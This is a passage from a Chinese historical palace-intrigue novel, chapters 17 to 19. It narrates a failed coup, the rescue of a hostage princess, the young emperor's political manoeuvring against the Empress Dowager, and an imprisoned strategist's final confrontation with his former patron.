明绰心里又是一坠。不错,皇兄从小就比她高。男孩儿也许本来就生得更高大些,以前觉得天经地义,可是方千绪一说,她又突然想起萧盈和袁煦站在一起的样子。他们这个年纪正是长身体的时候,差个半岁都很明显,可是萧盈和袁煦从来都并肩而立,完全看不出来袁煦比陛下年长。
军中操练,很多都是十五六岁的小子,此事桓殷再有数不过。其余的宗亲们家中也都有孩子,听了这话,一时也都露出了怀疑的神色。谢拂霜面容惨淡,好像根本没有在听他们说了什么。
有位宗亲仍是不敢相信,突然道:“可是当日登基大典上太后抱着陛下面见百官,那绝对是个刚出生不久的孩子!怎么会——”
方千绪笑了一声,甚至都懒得回答他这个问题。桓殷恍然地转过脸,看定了明绰,那神情突然变成了嫌恶,好像一想到他曾经俯首跪拜、甘心称臣的竟是这样一个小丫头,他就很恶心似的。
但母后是做得出这样的事的,明绰发现自己心里并不觉得意外。十岁以前,有多少次是她代替萧盈接受群臣朝拜,连她自己都数不清了。
外面仍有杀声,但片刻间已经弱下去很多。也许是执金吾卫来得太多,也许是宫城校尉的抵抗太不堪一击,总之,这场战役听起来力量悬殊,很快就会结束了。连萧忞抓着明绰的手劲都松脱了一些,好像已经觉得胜券在握,不必再挟持公主。明绰本该跑的,但她紧张得太久,绷得全身都不听使唤。尤其是背上一块肩胛骨,一直抵着长沙王袍子里什么硬东西,疼得厉害。她想了想,意识到那是长沙王的薄甲。
大雍有制,穿甲上殿,比戴剑还要更罪不容诛。可是长沙王还在乎什么呢?他也许真是天命所归了。
门外杀声忽止,有极其沉重的脚步声逐渐逼近。所有人的视线都盯着那扇殿门,没有人看到原本木偶般端坐着的萧盈突然站了起来。
殿门被“吱呀”一声推开,只见邓霄那张大胡子里的脸从门缝里露了出来。萧忞纵声大笑,突然剑指萧盈:“谁杀了这伪帝,本王赏他——”
但他的话没有说完。邓霄的身子怪异地立在门口,并不往前迈步。然后一只手伸出来,从他脑后推了一下,那颗毛发丛生的脑袋就从颈子上滚了下来,咕噜噜地一直滚到了殿内,沿途洒下无数粘稠的血。那具身体还立在门槛外,血像喷泉似的,从腔子里“嗤”地激射而出,好一会儿才重重地往前一扑。
袁煦手持一把偃月刀站在门口,满脸满身的血,宛如杀神现世。
萧盈的声音这才响起来:“长沙王要赏什么?”
一切都发生得太快了。明绰的眼睛还死死盯着那颗头颅,萧忞已经再次把剑横在了她的脖子上。她感到自己的脚离了地,萧忞似乎拽着她在往哪里跑。母后的声音好尖利,可她一个字也听不清楚,因为萧忞一直在她耳朵边上厉声吼着什么,喊得她都要聋了。好多的血,地上,身上,还有她脖子里。触目所及只有金甲,无穷无尽,连成了云,溅上了血……到底哪里来这么多的金甲,虎符不是在母后手里吗?
然后,是皇兄的声音。明绰像是突然从水里浮了上来,听清楚了。萧盈的声音始终不高,可是他开口的时候,那些杂的声音都消失了,连母后都安静下来。
“放开长公主,”萧盈说,“朕留你全尸。”
萧忞纵声大笑。明绰发现他们竟然从太极殿里出来了,但她也分不清楚他们到底在哪里,萧忞的背后是高高的宫墙,方千绪也在他身边,身上的白衣都被血浸透了,无力地倒在地上,看不出生死。身边躺着好几具尸体,都穿着金甲,却做彼此厮杀的样子。崔挺在,袁煦也在,甚至袁增都在,但都离得很远,戒备地护着萧盈和谢拂霜。在他们身后,是数也数不清的执金吾卫。
萧忞的发冠不知什么时候已被击碎,头发凌乱地披下来,拂在明绰的脸上,好像虫子在她脸上爬。她突然受不了了,实在是太多的血,太多的脏,好像有什么东西绷断了一样,她崩溃地哭了出来。
“母后!”明绰喊了一声,谢拂霜立刻往前扑,恨不得以身替之。
“反正都是个死!”萧忞似是被她的哭声刺激,勒紧明绰的脖子,“我拉个真公主陪葬不好吗!”
“不要!”谢拂霜失控地叫起来,“本宫饶你不死!”
“谢拂霜,你还看不出来吗?你说了不算!”萧忞恶狠狠地瞪着她,“你的小傀儡长大啦!你控制不住他啦!”
他越说,手上就越紧。明绰其实没有感觉到疼,只觉得脖子里一片温热。她不知道她的血流得这样多,这样快。谢拂霜整个人往前一扑,被萧盈一把捞在了臂弯里。
“不要动我的女儿!”谢拂霜挣扎着,发出了不似人的惨叫,“我什么都答应你!”
萧忞扬声:“好!那你说!萧盈是不是我阿兄的儿子!你说实话,我就放过你女儿!”
谢拂霜转头就要开口,但是萧盈更紧地摁住了她:“母后,你冷静一点!”
谢拂霜突然被他刺了一下似的,萧盈至少有七八年没有再叫过她“母后”了。下一刻,谢拂霜一巴掌扇到了天子脸上。萧盈始料未及,人杵在当地,还没怎么动,谢拂霜自己倒失了平衡,头上沉重的金钗歪下来,摇摇晃晃的,只能抓着萧盈的襟口才维持自己不摔倒。
“溦溦要是有事……”谢拂霜咬牙切齿,气息拂到了萧盈的脸上,“我把你碎尸万段!”
萧盈什么都没说,只是平静地看了她一眼。他玉白的颊边已经浮现出了一片红,谢拂霜的指甲太长,甚至抓出了三道血痕。所有的人都看着他们,袁煦脸上露出愤慨之极的神色,似乎想上前,但是被袁增一把摁住。
萧盈低下头,握住了谢拂霜颤抖个不停的手,把自己的衣襟从她的抓握里拉出来,用只有她听得到的声音说:“朕怎么可能让她有事?”
这么多年不见天日,命悬一线,他只有明绰。
谢拂霜下唇剧颤,看着他,说不出话来。
萧盈突然扬声唤了一声:“中书令。”
谢聿躲在执金吾卫后面,挤了两下才挤到前面来:“陛下?”
萧盈强硬地把谢拂霜往他怀里一推:“照顾好太后。”
谢聿接住妹妹,顾不得谢拂霜的挣扎和反抗,赶紧把她拉开了几步。几个
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宫人迎上来,谢拂霜脱了力一般,整个人倒下来。谢聿语速飞快地交代:“送太后回太极殿!”
萧盈不搭理这头,又叫了一声:“桓湛,拿弓来!”
桓湛立刻把自己背的弓交给了萧盈,萧盈接过弓在手上掂了掂,然后拈箭搭弦,眯起一只眼睛瞄准了长沙王。萧忞立刻弓起身子,躲在了公主身后。
连袁煦都没忍住提醒:“陛下,小心伤了公主。”
他的箭术比天子好,但就连他也没把握能在不伤害东乡公主的前提下射杀长沙王。
萧盈便没说什么,松开了弓。谢聿抓紧时间进言:“陛下,还是先允诺长沙王出宫吧!逼急了,他……”
“不行。”萧盈的语气淡淡的,歪着头,眯起一只眼睛,比划着什么,“现在还逼得不够急么?你看他根本就不敢动公主。”
“可是……”
萧盈又放开弓,看着萧忞戒备地探出脑袋,他便马上又拉弓,吓得萧忞再缩起来。
一边嘴上淡淡地回答谢聿:“长沙王今日要是活着出宫,明日全境都会有人造反,谢家全族都得陪朕掉脑袋——对了,你去问问太父,方千绪此人留活口不留?”
谢聿顿时噤了声。谢郯还在太极殿里,压根就没跟出来。他好像是被谢拂霜的违逆之举气得气血难平,也有可能,是不想看见方千绪葬身乱刀之下,但谢聿不愿意去深想后面这个可能性。
萧盈把箭对准了地上了无生气的身体,似是有些犹豫。没想到萧忞竟然有了反应,推着明绰往前了几步,硬是把方千绪护在了身后。
“皇叔也算是有情有义,”萧盈突然抬高了声音,“不过朕有一句话,不知道皇叔肯不肯听?”
萧忞“呸”了一声:“你别叫我皇叔!”
“朕是想不明白,邓霄兵强马壮,既已投到你麾下,你从荆州起事,不是更稳妥些吗?”萧盈再次把弦拉满,“何必只带着这么点人兵行险着?荆州主帅都被你带离了大本营,说折就折了,连条后路都不留?你不是还有好几个儿子吗?”
萧忞没搭腔,但明绰听到他的气息明显更重了几分。她刚才哭了两声,心里已经觉得好受一些,回过劲来了。听到萧盈这么说,明绰也道:“就是的。”
萧忞立马恶狠狠道:“你住口!”
萧盈低着头,又摆弄了一下手里的箭,一副对弓箭不太熟练的样子,口中却轻声道:“袁煦,别吓着公主,你要什么朕赏什么。”
袁煦猛地抬起头。萧忞为了护住方千绪往前了几步,已经缩短了他们之间的距离。仅仅几步。
“看来皇叔还是不明白啊。”萧盈就跟没说过那个话似的,又跟萧忞说,“方千绪哪是为了你的霸业?他不过是心里怀着怨,借着你来跟太尉寻仇罢了。”
萧忞怒道:“你胡说!亚父他——”
就在这一瞬间,萧盈突然举起了弓,甚至没有一个瞄准的过程,直接放箭。没有人一个人反应过来发生了什么,一个身影已经大步往前一跨,几乎和箭同速。明绰只感到脸颊边热了一下,什么东西擦了过去。然后就是一把大力猛地把她往前一拽,她甚至不知道萧忞是什么时候、又是为什么松开了她,人就已经被袁煦拉了过去。但袁煦没有接住她,反而借势与她擦肩而过,将明绰又往前推了一把。她只听到身后传来了偃月刀挥起来的沉重呼啸,然后是利落的“咔嚓”一声,萧盈已经奔到了她面前,手臂稳稳地接住了她。
明绰猛地撞进萧盈怀里,还想回头,但是萧盈的手捂住了她的眼睛。
“别看。”萧盈的身上还是那股熟悉的淡淡的药味,然后他的手移到她的脑后,把她搂紧,贴在自己的胸口。明绰听见他的心跳,轰隆隆地响,像山塌下来,地又陷下去。很快,很急,又很沉。她好一会儿才意识到那里面还有她自己的心跳,混在一起,响成一片。她脖子里的血还在流,只是流得很慢了,一点一点,把萧盈身上一件干净的冕服浸湿。她已经很久没有再穿过皇兄的冕服了,明绰麻木的手指无意识地拂过贵重粗糙的金线,突然没由来地想到了这个。
她很微弱地叫了一声皇兄,但是萧盈没有听见。执金吾卫们的金甲连成了天边的云,溅上鲜红的血。他们的声音汇聚成同一个声响,和萧盈的心跳一样,隆隆地震碎明绰脚下的地。
很久之后,明绰才听清楚,那是他们在山呼万岁。
18.第 18 章
执金吾卫令行禁止,片刻间把太极殿外的尸体清理干净。东乡公主被救下之后就被太后带回了上阳宫,同时传太医,硬是把天子也遣回含清宫去,看看有无受伤。上阳宫随即传出严令,整座宫城封禁,太极殿里的宗亲不得诏令一个也不许放。唯有崔挺、袁增二将一起跪在上阳宫外,等待召见。
但是太后只召见了崔挺。
按照崔挺的说法,荆州刺史邓霄假扮回营复命的执金吾卫军侯混进大营,意图不轨。幸亏平荆中郎将今日在校场操练,邓霄一见中郎将在此便知会被他认出,今日事必不可成,竟然狗急跳墙率领三百人攻入皇宫。好在宫中及时传出了虎符,崔挺才得以调兵。如今叛军已被全歼,执金吾卫右中侯亲自率人去搜寻李姬和萧忞二子的下落。现将虎符奉还,请太后放心。
他说到最后,双手将那半片虎符奉上。谢拂霜接到手里一掂,当即就往崔挺脸上一扔。崔挺没避开,一副意料之中的神情,把头低下,木然道:“臣救驾来迟,太后恕罪。”
“救驾来迟?”谢拂霜冷笑一声,“崔卿太谦虚了!本宫看你是来得太早了!”
崔挺这套话漏洞百出,谢拂霜一听就知道他搞的什么鬼。邓霄既然敢去执金吾卫的大营,怎么会看见袁增在那里就知道“事不可成”,还知难而退?又怎么可能在被崔挺发现以后还有机会以三百人来攻皇城?多半是邓霄拿了方千绪的什么锦囊妙计,说服了崔挺支持长沙王,所以谢郯布下的刀斧手才会被射杀。袁增此时再出现,见他手持虎符,崔挺便临阵倒戈,让袁煦那莽夫斩了邓霄,死无对证。
可是那虎符缺斤少两,成色不对,都不必和崔挺手中那半块对上就知道是假的。真正的虎符一直握在谢拂霜手中,这东西是出自于谁,其实不必多问就知道。
谢拂霜突然想起来,崔挺汇报过,跟着王诃去荆州的三百人一直没有归营。但他故意装得只是随口一提,当时谢拂霜为了女儿下落不明正心烦意乱,听见了也没多想。
但现在她一串起来就明白了,三百人未归营,崔挺就知道事情有变,王诃不是叛了就是死了。要只是死了还好,若是真去造反,崔氏全族都要被牵连。太后此刻看王家正不顺眼,崔挺要留个后手。不能做得太明,太后这里要提一句,以防太后回过神来治他瞒报之罪;陛下那里也要通传,但要在太后眼皮子底下去含清宫面圣或者递奏疏都是不安全的——谢拂霜猛地反应过来,是袁煦。
当初为了拉拢袁家,许了袁煦宫禁行走的自由。
看来萧盈也确实没有辜负崔挺一番苦心,一下子就猜到了这里面的七弯八绕,甚至算到了邓霄有可能兵行险着去策反崔挺。
他本可以下令让崔挺先下手为强,要么提前在宫中布防,要么看见邓霄露面就把他就地正法,那么这场叛乱就会随着长沙王孤立无援地血溅太极殿而结束。但萧盈选择了传假虎符,命令崔挺将计就计,领兵随邓霄入宫,堂而皇之射杀太尉府的人,在宗亲们面前演了一出兵围太极殿的好戏,然后到关键时刻让袁煦斩杀邓霄,他亲自把长沙王逼退到墙角,一箭立威,换得山呼万岁。
真正的虎符确实还在太后手里,军心就未必了。
还真是小看这个病秧子了。谢拂霜牙关几乎咬出血,但崔挺也只是一声不响地跪在她面前。她抓不到崔挺的错处,他也很清楚这个,才敢这样近乎挑衅地来她面前睁着眼睛说瞎话。治假虎符之罪吗?可是执金吾卫的半片虎符本就应该握在天子手里,留在太后手中才是名不正言不顺,只是没人来较这个真,若非要追究,反而给了萧盈把虎符要回去的机会。
“好。”谢拂霜只道,“好得很。”
崔挺再叩头:“臣有罪。”
“崔卿这是立了大功,何罪之有啊?”谢拂霜压着火气,“崔卿出生入死辛苦了,不如回去好好休养,执金吾卫自有右中侯在。”
崔挺好一会儿都没说话,虽然左右中侯都算是他的副手,但右中侯楚培仗着楚氏沾着皇亲,从来不服崔挺。左中侯才是崔挺亲信,也已经被太后发落,如今太后说这话,就是要他自己退。
崔挺审时度势,已知无路可选。他给陛下通风报信,怎么也得罚一罚才能平了太后心口的气,不然的话,今日虽拿不到错处,以后也早晚会有更要命的错处。倒是眼下天子大有胜算,他亲政一日,自是崔挺起复之时。于是他果断地一低头,只道:“臣遵旨。”
崔挺当即将中尉的盔甲和印信都卸下,连一句哀求央告都没有,沉默着再拜谢恩。谢拂霜仿佛从他的沉默里读到了他真实的想法,也不给他留颜面,人还没站起来,谢拂霜就召人来把中尉的盔甲印信全都送去给楚培。崔挺脸上挂不住,走的时候连声告退都懒怠再说。他一走,谢拂霜便站不住似的,往后退了两步,颓然跌坐。
“芸姑!”谢拂霜习惯性地扬声唤人,“芸姑!”
然而进来的只有灵芝:“太后,梁女史还被关着呢。”
谢拂霜厉声喝道:“还不去接她回来!”
灵芝被吓了一跳,连连应声,转身要去传令,刚跑出两步,又想起什么,跑回来道:“太后,中郎将还在外面……”
谢拂霜摁着越来越痛的太阳穴,烦躁地闭上了眼睛。她知道袁增要的是什么,萧盈连他也一起安排好了——袁家竟也归了萧盈!谢拂霜恨得咬牙切齿,只觉得萧盈像是缠在她身上的小鬼,她费尽心思筹谋的局,拉拢的人,只因他在名义上是她的儿子,是更为名正言顺的天子,就轻而易举地全部摘去,反过来变成与她相斗的筹码。她此刻不想遂袁增的意,更不想遂萧盈的意。但眼下没有更好的安排,她不能为了跟萧盈斗而置大雍江山于不顾。
“出去告诉他,荆州归他了。”谢拂霜从牙缝里挤出来一句话,“让他带着儿子即刻就出发,荆州军要是敢出一点乱,让他提头来见!”
她话中隐隐有金石相振之声,生杀予夺,只在片语,竟让躲在屏风后的明绰没忍住打了个寒噤。灵芝也跑出去了,临走,谢拂霜还不忘叮嘱“快把梁女史接回来!”。
又过了一会儿,明绰便听见母后压抑着呻|吟了两声,似是难受得紧。她心中不忍,想走出去,却又听见谢拂霜低低地唤,芸姑,芸姑。连叫了两声,含着无限的痛苦和愤懑,多少说不出来的苦楚都含进了这两声低唤中。明绰突然止了步,意识到此刻也许母后此刻想见的人不是她。
她被长沙王的剑架着脖子的时候,谢拂霜恨不得以身替之,可是她被救下来以后,母后除了把她从萧盈手中抢过来的那一瞬间流露出了情绪,接下来就只有冰冷的愤怒和沉默,连太医来给她看脖子里的伤,谢拂霜都没有过问。
明绰知道她闯下了大祸。她以为让王执瑈出家做不成皇后,母后就可以满意,太父也不能说什么,可是一切都裹进了长沙王的叛乱里,彻底乱了套。如果不是她自作聪明,王家不会跟太后撕破脸,崔挺也许就不会为了自保背叛太后。如果她没有出现在龙盘山,方千绪肯定会带走慈安来要挟,那么母后也就不会如此受制于人……
明绰想到这里,心里突然一冷。母后会在意自己生母的死活吗?这个问题她想不到答案,她只为了自己竟然会这样想而感到某种说不出来的恶心。
屏风另一面又传来脚步声,打断了明绰的思绪。然后她听见了一个熟悉的声音,是含清宫里伺候皇兄的小黄门任之。
“太后,”任之禀报,“陛下来问,太极殿里的宗亲何时能归家?”
谢拂霜对任之没什么好脸,冷冰冰地回道:“这样的事陛下也要来问本宫吗?他愿意放就放,执金吾卫都听他调遣!”
任之:“太后不发话,陛下不敢。”
谢拂霜冷笑一声,竟是许久不曾说什么。
明绰在母亲的沉默里慢慢地回过味来,那些宗亲们今天听了方千绪这些话,保不齐有些人心里要有歪的心思,执金吾卫往门口一站,谁也不让走,这就有点儿意味深长。任他们去想,谢太后是不是要杀人灭口?全杀光了,把事情往长沙王身上一推,岂不是方便得很?
就连明绰也没忍住在心里想,母后难道真要全杀了?
别管天子与太后之间实际上已经多么水火不容,在这件事上,天子和太后,乃至整个谢家,都还是一根绳上的蚂蚱。所以太后下令执金吾卫封禁太极殿,萧盈也没有马上利用自己新建立的威望来反抗太后的命令。
他非常清楚,太后与谢氏之威并非一朝一夕建立起来的,将士们山呼万岁只是一时的气血上涌。立刻就和太后对着干,未必就能一呼百应。萧盈让小黄门来看太后的脸色,无非是说,他还是尊她为母。
而谢拂霜也没有任何选择。长沙王谋逆是谢拂霜亲自定下的罪,袁增去荆州赴任刺史,必会奉命将萧忞一脉屠戮殆尽。眼下萧氏宗室当真无人,要是没有他这个天子,谢拂霜也做不成这个太后。
所以谢拂霜不语。她被沉默淹没,耳边突然又响起了十五年前的那场雨,淅淅沥沥,淋湿了她半生。
那孩子被方千绪抱进宫的时候她没有亲眼见到,血房不吉,父亲一直在外面守着。她只听见雨声,还有父亲和方千绪争执的声音。父亲说这个孩子都快两岁了,如何骗过百官。方千绪却一再坚持,他卜过这孩子的命,“大雍之兴,皆系此子。”
就这么一句话,父亲信了。
他们说,这是命。是这孩子的命,也是她女儿的命。就因为他们出生的时候天上那几颗看不见的星子?她不信这个命——连方千绪也未必是真信,不然他岂会襄助长沙王来造萧盈的反?这一切不过是因为两个孩子生来一个是男人,一个是女人。
可是为何萧盈这样聪明,还有这样的气运?他才只有十六岁,朝不保夕地在她一碗药下心痛了这么多年,一朝翻身,竟然能这样沉得住气,不急着向她寻仇,反而先谋共利之好。
这样的孩子,若是羽翼再丰一些,她还拿得住、斗得过吗?
“此事不劳陛下费心,”谢拂霜终于开了口,“关一夜,想明白了,自会放他们回去。”
任之问到了答案,唱了声诺便告了退。明绰在屏风后听着,谢拂霜很明显又犯了头风,但来的人络绎不绝,诸般杂务,什么都要汇报给她听。宗亲们迟迟不回家,那些权贵们从自家的楼阁里就能看见大批执金吾卫入宫,本来就预期这是鸿门宴了,谢拂霜再怎么想封锁消息也是于事无补。尚书令桓廊已经率人入宫求见,太后躲也躲不过,只能忍着与他们周旋。
明绰退出来,正看见灵芝领着一位身着金甲的人过来,显然也是要求见。只是这位执金吾卫穿着怪异,身上是军侯的甲,头上却是中
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尉的盔,一看便是新被提拔的楚培。
“楚中尉留步。”明绰扬声把人叫住。
楚培转身,见到是长公主,立刻把盔摘下,夹在手臂下,给东乡公主行礼。
“母后在与桓令君议事,中尉有何事?”
楚培让她两声“中尉”叫得面上一红。他被派出去找长沙王出逃的儿子,找得满面尘土,无功而返,本来想着回来挨教训呢,没想到一顶中尉的盔就戴头上了,他甚至都没时间把身上的甲一并换去。
“臣无能,没找到萧犯的两个逆子,特来向太后请罪。”楚培擦了擦脸上的汗,“臣刚从太极殿过来,萧犯手下那位白衣谋士尚有一口气在,臣想留着审一审那两个逆子的下落,但中书令坚持不留活口……”
楚培脸上露出为难的神色,显然是来请太后定夺的。
明绰:“太尉怎么说?”
楚培禀报:“太尉身子不适,中书令已将他送回府了。”
明绰顿时皱起眉头,在心里暗骂谢聿糊涂。谢郯身子不适她是信的,可是这些宗亲里头年纪在谢郯之上的不在少数,太后一个都没放走,他倒显着谢家权势了,现在又非要灭方千绪的口,这不是心虚是什么?要消除宗亲对萧盈的怀疑,方千绪不能死。
“母后脱不开身,我随中尉去一趟吧。”
楚培犹豫片刻,还不适应万事要他自己做主的中尉职责,但明绰没有给他多想的机会,举步就走:“不能就这么杀了方千绪,我去和舅舅说。”
楚培连忙跟上,一面道:“臣,臣就是这个意思,长公主慢点……”
明绰哪里慢得下来,几乎是跑着去了太极殿,刚到殿门外就看见太医们已经到了,在门口守着的执金吾卫来跟楚培汇报,说是陛下的意思,方千绪已经止了血,被送去执金吾卫那里,等中尉审完再送有司。
“陛下?”楚培吃了一惊,“陛下什么时候来的——诶,长公主?”
明绰匆匆跑进殿中,看见萧盈正和桓殷一起蹲在一个老者身边,正扶着他让太医诊治。明绰依稀记得此人姓石,曾经也是个驸马,娶的就是大将军之母安阳公主的哪个姐妹,但具体哪一个,明绰已经记不清。
石驸马如今都八十多了,他的公主妻子早已逝世,还是被太后召来这宗亲宫宴。当时有人从殿外射杀刀斧手的时候,石驸马行动不便,躲闪不及,被流矢擦伤了大腿。后面事情一件赶着一件,他人微言轻,竟也不敢说自己受了伤。一直被关在这太极殿里,直到血浸透了整条袍子才被大将军发觉。
石驸马颤颤巍巍的,仍要给萧盈行礼:“陛下,老臣不敢……不敢……”
萧盈摁住他,一时竟也不知道按照辈分该怎么称呼,只好温声道:“老寿星别动,让太医看看你的伤。”
明绰停在几步远的地方,没过去。萧盈也没有看见她,一路把耳朵贴到石驸马的嘴边听他说了什么。听完了,还露出了一丝笑意,又安抚地握着老人的手。石驸马经了四朝,也没哪个天子这般对他关切,一时竟然老泪纵横。桓殷在一旁看着,目光落定在萧盈身上,神色若有所思。
太医给石驸马止了血,唤了两个小黄门过来把人扶起来,萧盈和桓殷这才放开手。两人都站了起来,萧盈看见袖上沾了血,正低着头拂。桓殷十分大胆地打量着他,明绰心里顿时一紧,意识到大将军是在量萧盈的身高。
“陛下是生得比寻常人高些,”桓殷淡淡地开了口,“真是芝兰玉树。”
萧盈笑了笑,凑到了桓殷耳边。其实他没什么机会跟大将军说过话,但开口的姿态却非常自然,好似一对明君良将,本该如此亲密熟稔。
“北地的蛮人都生得比咱们高,大将军可知是为何?”
桓殷微微一退:“人种有不同……”
萧盈轻轻摇了摇头,打断他:“那都是他们自小喝牛乳喝出来的。”
桓殷怔了一下,倒是确实听说过这个话。北地的蛮兵更容易出大块头,体格健壮,力大如牛,多是游牧为生,自小拿牛乳当水喝。
萧盈抬手理了理袖袍,负手而立,笑着对桓殷道:“朕幼时体弱,母后心疼,含清宫里日日供着醍醐,连长公主都吃不着,还要上朕这里偷吃呢。”
桓殷斟酌着陪了一个微笑:“太后慈母心肠。”
“朕记得,桓大将军家里孙儿也七岁了吧?”萧盈突然又道,“醍醐是好东西,以后宫里每日都送一碗到府上。”
桓殷连忙躬身:“老臣无功——”
“桓家有功!”萧盈一把握住他的手,“桓湛平叛定乱,也是大将军的功。”
他下了力气往下摁了摁,君恩如山,君威也如山。桓殷的手被摁下几寸,眉目不惊,肩上却似塌了一层。然后他低下头,轻声道:“桓殷谢陛下天恩浩荡。”
明绰看了一会儿,什么都没说,也没有出声唤萧盈。他的胸口还浸着一小块暗色的血,就在心口,几个时辰前,他曾那样用力地把她搂在怀里的位置。
她转过身,无声地走出了太极殿。桓廊几乎与她错身而过,带来了太后解禁太极殿的诏令。不知道他是怎么说服母后的,多半是拿中书令已经把太尉送回了家一事来说嘴。母后此时应该很气急,但是明绰并不担心宗亲们还有谁会有异心。
殿外,残阳已如血。
19.第 19 章
暗室幽窗,一灯如豆。
方千绪盘膝面壁,坐于灯下,面前只一碗清水,已入了定。他虽然还俗多年,但是打坐的功夫不曾丢。囚室被打扫得很干净,他被乱刀所伤,虽不致命,但伤口深长,太医嘱咐居室要清洁,也不可过于寒凉。楚培没慢待他,着人熬了当归黄芪等等补气血的药送来,他也照喝,毫不惧怕有毒。
囚室门口发出拖长的“吱呀”一响,惊动了灯下的人。方千绪睁开眼,但没有回头,只听见一个人沉重的脚步声,停在囚室里唯一的坐席前,然后是微微粗重的呼吸,来人的身体似是比重伤的方千绪还要不好,只是坐下的动作就耗费了他无数力气。囚室外没再听见脚步声,相送的人留在门外,始终没走。
方千绪静静地听着坐下的人调整好呼吸,重新平复,才开了口:“太尉大驾光临,方某有失远迎了。”
谢郯轻轻地咳了一声:“你如今不叫我老师了?”
方千绪重新把眼睛闭上:“太尉十五年前已经说清楚,你我师徒之情尽断,方某不敢攀附。”
谢郯什么都没说。十五年前那场争吵仍历历在目,如同昨日。方千绪自恃才高功大,他为大雍寻来幼主,解国难,定江山,扶社稷,谢家的权势有他一半功劳,为何他不能出任尚书令?除了家世出身,他比桓廊差在哪里?
谢郯因此大怒。可他斥责一句贪权,方千绪就有十句百句等着还他,伪善,势利,迂腐……能骂的方千绪都骂过了。但那时谢郯纵着他,他骂得多难听,谢郯再生气,最多也就是拂袖而去。
可他越纵,方千绪就越恨,直到他终于明白,谢太尉不肯许他入仕不是因为清正不肯弄权,而是他不能允许自己的玩物与他并肩站在朝堂上。
“你走以后,我派人到处找过你。”谢郯突然轻声道,“你真是好本事,消失得无影无踪。”
方千绪微微垂头:“太尉要灭我的口,我岂能不躲?”
“是李姬收留了你?难怪我找不到。”
方千绪也不否认,只是冷笑了一声。
“难为她,当年那个情形,还有余力护着你。”谢郯叹了口气,“你是如何识得李姬的?”
方千绪闭上眼:“同太尉又有什么关系?”
“让李姬把萧盛和萧益交出来,我可以饶她的性命,让她去瓦官寺出家,安度余生。”
方千绪终于转过头来,看定了谢郯,许久,露出了一丝讽刺的笑意:“像王夫人那样吗?”
谢郯眼下突然一抽,好像方千绪抽了他一巴掌。方千绪看得清清楚楚,唇边的冷笑便扯出几分快意。
“我与李姬相伴多年,有夫妻恩义,太尉还是死了这条心。”
谢郯又陷入了沉默。方千绪现在已经转身过来,两人对坐而望。即使过了这么多年,即使是成了阶下之囚,身负重伤,即使这样充满了讽刺和恨意,他一笑起来也仍是好看的。只是这种美也成了挑衅,他的眼睛像镜子,一览无余地照出了谢郯的苍老和衰弱,让谢郯突然升起一股毁灭他的冲动。
“夫妻恩义?”谢郯的声音冷冰冰的,“李姬的丈夫是孝文皇帝。萧忞唤你几声‘亚父’,你便忘了自己到底是什么人吗?”
方千绪的笑容僵在了脸上,但逞强似的不愿褪去,嘴角怪异地斜着,眼睛死死地盯着谢郯。
“太尉想说什么?”方千绪的声音很轻,“说我不过是个以色侍人的男宠?”
谢郯没答这话,反而突然猛烈地咳起来,好一会儿都平复不下去。他亦不愿在方千绪面前露出这般无力的样子,撑着膝盖想站起来,但用了好一会儿力气都没站得起来,反而把自己累得不行。方千绪就这么一言不发地看着他,眼神从方才的憎恨变作痛快,但只是短短一瞬,又变成了更为复杂的难堪,好像谢郯的老和病都成了对他的冒犯。
“你怎么……”他起了个头,又没说得下去。
谢郯终于放弃了起身,坐在那里,气喘吁吁。
“去岁病了一场,一直没好全。”他突然说,“你那药,不管用了。”
方千绪眼中的情绪更加复杂起来。谢郯很多年前就有肺疾,冬季最容易发。方千绪曾为他配了一良方,能让他冬日好过一些。
“你老了。”方千绪道,“人老了,什么药都不管用。”
谢郯的手本来掩着唇,闻言轻轻地放了下来。有那么一瞬间,方千绪很想问他,难道太尉当真是来问他李姬在哪儿的吗?其实他是真的不知道。什么相伴多年,夫妻恩义,也是胡扯的鬼话。李姬当年在建康如履薄冰,对谢拂霜怕如蛇蝎,哪里敢动太尉的人。是方千绪深恐谢郯灭口,远走江湖,流落荆州,听说萧忞就藩,才拜到长沙王府上。建康盯得太紧,萧忞不敢给他官职,这才托了个不像话的“面首”之名。
这么些年在人前扮恩爱,他和李姬倒也确实做过几夜夫妻。可是谁不知道他方千绪是太尉的什么人,李姬一副为了儿子被迫委身的样子,她恶心,方千绪其实也恶心,后来也就装不下去了。若谈恩义,他对萧忞还有些相报之意,对李姬,那是半分也没有的。
如今建康城已经被封得铁桶一块,李姬没有文牒出不了城。执金吾卫就是挨家挨户地搜,也不过多花些时日。萧忞已死,败局已定,李姬和那两个孩子是什么下场,方千绪根本不在乎。当日决心兵行险着,他就没想留后路。
所以楚培待他客气,也不是为了从他嘴里抠出李姬的下落,多半还是萧盈的意思。方千绪心里算着,天子是想施恩,好寻个机会让方千绪自己承认当初都是为了替长沙王谋反才构陷他的身世,或者是想留着问一问自己真正的父母到底是谁。
方千绪一直在等天子召见,可是如今,来的却是谢郯。
“太尉也不必装模作样非要找个由头来审我了。”方千绪笑了笑,忽然换了个语气,“谢郯,你来送我上路吗?”
谢郯没说话,门外却传来了一声异动,像是有人已经按捺不住。
“你带了谁来?”方千绪问他,“云松?”
云松正是谢聿的字。
“遂了他的意,”方千绪笑笑,“二十几年前他就想杀了我。那日太极殿里也是,若不是陛下到了,我都没命到现在……”
他们姓谢的作风一贯如是,当权太久了,手腕就硬,也没什么顾忌,总想着杀人。不像萧盈,被谢家压得太久了,只好身段软些,处事都留余地。对付石头,就得化成水。方千绪想到这里就只有一声暗叹。筹谋多年,每一步都针对谢郯父女,却忽略了萧盈已长大成人,竟叫他翻了盘。方千绪自嘲地苦笑,又莫名生出几分凄凉的自豪。他没卜错,萧盈就是命中注定的明君。他本可以辅佐年少有为的君王,封侯拜相,青史留名。可昔年壮志,到如今,成王败寇。
“让他进来吧。”方千绪整了整衣冠,转为跪坐的姿态,挺直了腰。
谢郯并未说什么,但外面的人听见了这话,已直接推门进来。果然是谢聿。他沉着脸,俯身将一个托盘放在了方千绪面前,一杯酒,一匹白绫,还有一把匕首。方千绪低头看了看,低低笑了一声:“我还有得选。谢郯,你待我真是不薄。”
谢郯:“你可还有什么话要说?”
方千绪掂了掂那柄匕首,在自己腕上比划了一下,说得很随意:“谢郯,我不是败给了你,我是败给了陛下——不过没关系,你也败在他手里了。”
谢郯摇摇头:“我与陛下同舟,谈何败与不败?”
方千绪闻言便大笑出声,随手将匕首扔回托盘里:“你还真是老糊涂了!”
谢郯没说话,但谢聿没忍住:“你什么意思?”
方千绪抬头斜了他一眼:“天子不是素来体弱吗?他是何时练成这样的箭术,中书令可知道?”
谢聿皱眉:“天子并未射中长沙王。”
